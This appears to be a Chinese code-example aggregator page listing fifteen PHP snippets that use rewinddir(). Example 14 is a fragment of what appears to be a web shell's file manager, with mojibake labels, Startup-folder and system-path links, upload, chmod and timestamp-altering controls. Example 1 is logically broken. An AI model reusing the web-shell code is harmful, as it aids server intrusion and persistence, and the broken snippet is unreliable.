本文整理汇总了PHP中rewinddir函数的典型用法代码示例。如果您正苦于以下问题:PHP rewinddir函数的具体用法?PHP rewinddir怎么用?PHP rewinddir使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了rewinddir函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: cursorGroup
function cursorGroup($id_group, $position = null, $reference = null)
{
if (!isset(SerialFiles_Connector::$psc[$id_group])) {
return false;
}
if ($position === null) {
$position = 0;
}
switch ($position) {
case SerialFiles_Connector::GROUP_START:
if ($position < 0) {
$position = 0;
}
rewinddir($hd);
while (($file = readdir($hd)) !== false) {
$position--;
}
break;
case SerialFiles_Connector::GROUP_END:
if ($position > 0) {
$position = 0;
}
break;
case SerialFiles_Connector::GROUP_ACTUAL:
default:
if ($cursor = 0) {
}
}
}
示例2: rewind
/**
* Rewind the Iterator
*
* Rewinds the Iterator to the first element and returns its value
*
* Method for the {@link Iterator} interface implementation
*
* @uses AeDirectory_Iterator::current() to return the value of the element
*
* @return AeObject_File first element or null, if array is empty
*/
public function rewind()
{
$dh = $this->_directory->getHandle();
@rewinddir($dh);
$this->_readNext();
return $this->current();
}
示例3: x
function x()
{
$uncheckedDir = opendir('.');
readdir($uncheckedDir);
$uncheckedDir2 = opendir('.');
closedir($uncheckedDir2);
$uncheckedDir3 = opendir('.');
rewinddir($uncheckedDir3);
$uncheckedDir = opendir('.');
readdir(opendir('uncheckedDir4'));
readdir2(opendir('uncheckedDir5'));
readdir(opendir2('uncheckedDir6'));
$uncheckedDir7 = opendir('asdfasdf');
while ($f = readdir($uncheckedDir7)) {
print "{$f}\n";
}
$checkedDir1 = opendir('.');
if (!is_resource($checkedDir1)) {
}
rewinddir($checkedDir1);
$checkedDir2 = opendir('.');
if (!$checkedDir2) {
}
rewinddir($checkedDir2);
// wrong for the comparison!
if ($checkedDir3 = opendir('.')) {
readdir($checkedDir3);
}
$checkedDir4 = opendir('.');
while (false !== ($r = readdir($checkedDir4))) {
}
//Structures/UncheckedResources
}
示例4: testRewindUnreadDir
/**
* @group rewinddir
* @group directoryfunc
*/
function testRewindUnreadDir()
{
$this->put('/t/a', 'abc');
$this->put('/t/b', 'abc');
$dh = opendir("{$this->basePath}/t");
rewinddir($dh);
$this->assertNotFalse(readdir($dh));
$this->assertNotFalse(readdir($dh));
}
示例5: basicTest
protected function basicTest($fileList, $dh)
{
$result = array();
while (($file = readdir($dh)) !== false) {
$result[] = $file;
}
$this->assertEquals($fileList, $result);
rewinddir($dh);
if (count($fileList)) {
$this->assertEquals($fileList[0], readdir($dh));
} else {
$this->assertFalse(readdir($dh));
}
}
示例6: rewind
/** @return void */
public function rewind()
{
if (null === $this->handle) {
if (!is_resource($handle = opendir($this->base->asFolder()->getURI()))) {
$e = new IOException('Cannot open folder ' . $this->base);
\xp::gc(__FILE__);
throw $e;
}
$this->handle = $handle;
} else {
rewinddir($this->handle);
}
$this->next();
}
示例7: wrapSource
protected static function wrapSource($source, $context, $protocol, $class)
{
try {
stream_wrapper_register($protocol, $class);
if (@rewinddir($source) === false) {
$wrapped = fopen($protocol . '://', 'r+', false, $context);
} else {
$wrapped = opendir($protocol . '://', $context);
}
} catch (\BadMethodCallException $e) {
stream_wrapper_unregister($protocol);
throw $e;
}
stream_wrapper_unregister($protocol);
return $wrapped;
}
示例8: read
public function read()
{
$c = new SeleniumConfig(INI_FILE);
$dh = opendir($c->testsPath);
rewinddir($dh);
$classes = array();
while ($fileName = readdir($dh)) {
$regs = array();
if (ereg('^[0-9]+_(.*)\\.php$', $fileName, $regs)) {
$class = array();
$class['file_name'] = $fileName;
$class['name'] = $regs[1];
$classes[] = $class;
}
}
closedir($dh);
return $classes;
}
示例9: getIterator
/** Iterate over all entries */
public function getIterator() : \Traversable
{
if (null === $this->handle) {
if (!is_resource($handle = opendir($this->base->asFolder()->getURI()))) {
$e = new IOException('Cannot open folder ' . $this->base);
\xp::gc(__FILE__);
throw $e;
}
$this->handle = $handle;
} else {
rewinddir($this->handle);
}
while (false !== ($entry = readdir($this->handle))) {
if ('.' === $entry || '..' === $entry) {
continue;
}
(yield $entry => new Path($this->base, $entry));
}
}
示例10: rewind
/**
* {@inheritdoc}
*/
public function rewind()
{
if ($this->handle === null) {
$this->handle = opendir($this->path);
} else {
rewinddir($this->handle);
}
$this->next();
}
示例11: rewind
public function rewind()
{
rewinddir($this->handle);
}
示例12: cleanDir
protected function cleanDir($path, $only_expired = true)
{
if (!is_dir($path)) {
//bad data.
return false;
}
//We use a relative path, for safety. Don't want to do ramping around deleting stuff we shouldn't.
if (strpos($path, '..') !== false or substr($path, 0, 4) != substr($this->cacheLocation, 0, 4)) {
//too dangerous. Goodbye.
return false;
}
$directory = opendir($path);
rewinddir($directory);
$dirs = array();
while (($file = readdir($directory)) !== false) {
if (!in_array($file, array('.', '..', 'index.html', 'datastore', 'datastore_cache.php'))) {
if (is_dir($path . $file)) {
$dirs[] = $path . $file . '/';
} else {
if (substr($file, -4) == '.dat') {
$this->clearOneCache($path . $file, false, $only_expired);
}
}
}
//At this point you might notice we don't delete orphan .del files. That's because they are harmless
}
closedir($directory);
foreach ($dirs as $dir) {
$this->cleanDir($dir, $only_expired);
}
return true;
}
示例13: rewindDirectory
/**
* Rewind directory handle.
*
* This method is called in response to rewinddir().
*
* Should reset the output generated by dir_readdir(). I.e.: The next call
* to dir_readdir() should return the first entry in the location returned
* by dir_opendir().
*
* @return boolean always TRUE
*/
public function rewindDirectory()
{
rewinddir($this->handle);
return true;
}
示例14: File_a
//.........这里部分代码省略.........
<div class="actall" style="text-align:center;padding:3px;">
<form method="GET"><input type="hidden" id="s" name="s" value="a">
<input type="text" name="p" value="{$REAL_DIR}" style="width:550px;height:22px;">
<select onchange="location.href='?s=a&p='+options[selectedIndex].value">
\t<option>---����Ŀ¼---</option>
\t<option value="{$ROOT_DIR}">��վ��Ŀ¼</option>
\t<option value="{$FILE_DIR}">������Ŀ¼</option>
\t<option value="C:/">C��</option>
\t<option value="D:/">D��</option>
\t<option value="E:/">E��</option>
\t<option value="F:/">F��</option>
\t<option value="C:/Documents and Settings/All Users/����ʼ���˵�/����/����">������</option>
\t<option value="C:/Documents and Settings/All Users/Start Menu/Programs/Startup">������(Ӣ)</option>
\t<option value="C:/RECYCLER">����վ</option>
\t<option value="C:/Program Files">Programs</option>
\t<option value="/etc">etc</option>
\t<option value="/home">home</option>
\t<option value="/usr/local">Local</option>
\t<option value="/tmp">Temp</option>
</select><input type="submit" value="ת��" style="width:50px;"></form>
<div style="margin-top:3px;"></div>
<form method="POST" action="?s=a&p={$THIS_DIR}" enctype="multipart/form-data">
\t<input type="button" value="�½��ļ�" onclick="Inputok('newfile.php','?s=p&fp={$THIS_DIR}&fn=');">
\t<input type="button" value="�½�Ŀ¼" onclick="Inputok('newdir','?s=a&p={$THIS_DIR}&dn=');">
\t<input type="button" value="�����ϴ�" onclick="window.location='?s=q&p={$REAL_DIR}';">
\t<input type="file" name="ufp" style="width:300px;height:22px;">
\t<input type="text" name="ufn" style="width:121px;height:22px;">
\t<input type="submit" value="�ϴ�" style="width:50px;">
</form></div>
<form method="POST" name="fileall" id="fileall" action="?s=a&p={$THIS_DIR}">
<table border="0"><tr><td class="toptd" style="width:450px;"> <a href="?s=a&p={$UP_DIR}"><b>�ϼ�Ŀ¼</b></a></td>
<td class="toptd" style="width:80px;"> ���� </td><td class="toptd" style="width:48px;"> ���� </td><td class="toptd" style="width:173px;"> ��ʱ�� </td><td class="toptd" style="width:75px;"> ��С </td></tr>
END;
if (($h_d = @opendir($p)) == NULL) {
return false;
}
while (false !== ($Filename = @readdir($h_d))) {
if ($Filename == '.' or $Filename == '..') {
continue;
}
$Filepath = File_Str($REAL_DIR . '/' . $Filename);
if (is_dir($Filepath)) {
$Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
$Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
$Filepath = urlencode($Filepath);
echo "\r\n" . ' <tr><td> <a href="?s=a&p=' . $Filepath . '"><font face="wingdings" size="3">0</font><b> ' . $Filename . ' </b></a> </td> ';
$Filename = urlencode($Filename);
echo ' <td> <a href="#" onclick="Delok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&dd=' . $Filename . '\');return false;"> ɾ�� </a> ';
echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> ���� </a> </td> ';
echo ' <td> <a href="#" onclick="Inputok(\'' . $Fileperm . '\',\'?s=a&p=' . $THIS_DIR . '&mk=' . $Filename . '&md=\');return false;"> ' . $Fileperm . ' </a> </td> ';
echo ' <td>' . $Filetime . '</td> ';
echo ' <td> </td> </tr>' . "\r\n";
$NUM_D++;
}
}
@rewinddir($h_d);
while (false !== ($Filename = @readdir($h_d))) {
if ($Filename == '.' or $Filename == '..') {
continue;
}
$Filepath = File_Str($REAL_DIR . '/' . $Filename);
if (!is_dir($Filepath)) {
$Fileurls = str_replace(File_Str($ROOT_DIR . '/'), $GETURL, $Filepath);
$Fileperm = substr(base_convert(@fileperms($Filepath), 10, 8), -4);
$Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
$Filesize = File_Size(@filesize($Filepath));
if ($Filepath == File_Str(__FILE__)) {
$fname = '<font color="#8B0000">' . $Filename . '</font>';
} else {
$fname = $Filename;
}
echo "\r\n" . ' <tr><td> <input type="checkbox" name="files[]" value="' . urlencode($Filepath) . '"><a target="_blank" href="' . $Fileurls . '">' . $fname . '</a> </td>';
$Filepath = urlencode($Filepath);
$Filename = urlencode($Filename);
echo ' <td> <a href="?s=p&fp=' . $THIS_DIR . '&fn=' . $Filename . '"> �༭ </a> ';
echo ' <a href="#" onclick="Inputok(\'' . $Filename . '\',\'?s=a&p=' . $THIS_DIR . '&mn=' . $Filename . '&rn=\');return false;"> ���� </a> </td>';
echo ' <td>' . $Fileperm . '</td> ';
echo ' <td>' . $Filetime . '</td> ';
echo ' <td align="right"> <a href="?s=a&df=' . $Filepath . '">' . $Filesize . '</a> </td></tr> ' . "\r\n";
$NUM_F++;
}
}
@closedir($h_d);
if (!$Filetime) {
$Filetime = '2009-01-01 00:00:00';
}
print <<<END
</table>
<div class="actall"> <input type="hidden" id="actall" name="actall" value="undefined">
<input type="hidden" id="inver" name="inver" value="undefined">
<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);">
<input type="button" value="����" onclick="SubmitUrl('������ѡ�ļ���·��: ','{$THIS_DIR}','a');return false;">
<input type="button" value="ɾ��" onclick="Delok('��ѡ�ļ�','b');return false;">
<input type="button" value="����" onclick="SubmitUrl('����ѡ�ļ�����ֵΪ: ','0666','c');return false;">
<input type="button" value="ʱ��" onclick="CheckDate('{$Filetime}','d');return false;">
<input type="button" value="����" onclick="SubmitUrl('������������ѡ�ļ�������Ϊ: ','silic.gz','e');return false;">
Ŀ¼({$NUM_D}) / �ļ�({$NUM_F})</div> </form>
END;
return true;
}
示例15: define
<?php
// Se define el salto de línea
define("salto", "<br>\n");
// Se "abre" el directorio principal de la partición.
$manejador = opendir("C:/");
echo "Contenido del directorio principal:" . salto;
/* Se "rebobina" el directorio para asegurarnos de posicionarnos al principio. */
rewinddir($manejador);
// Mientras haya elementos (directorios o ficheros) para leer.
while ($contenido = readdir($manejador)) {
echo $contenido . salto;
}
// Se cierra el directorio closedir($manejador);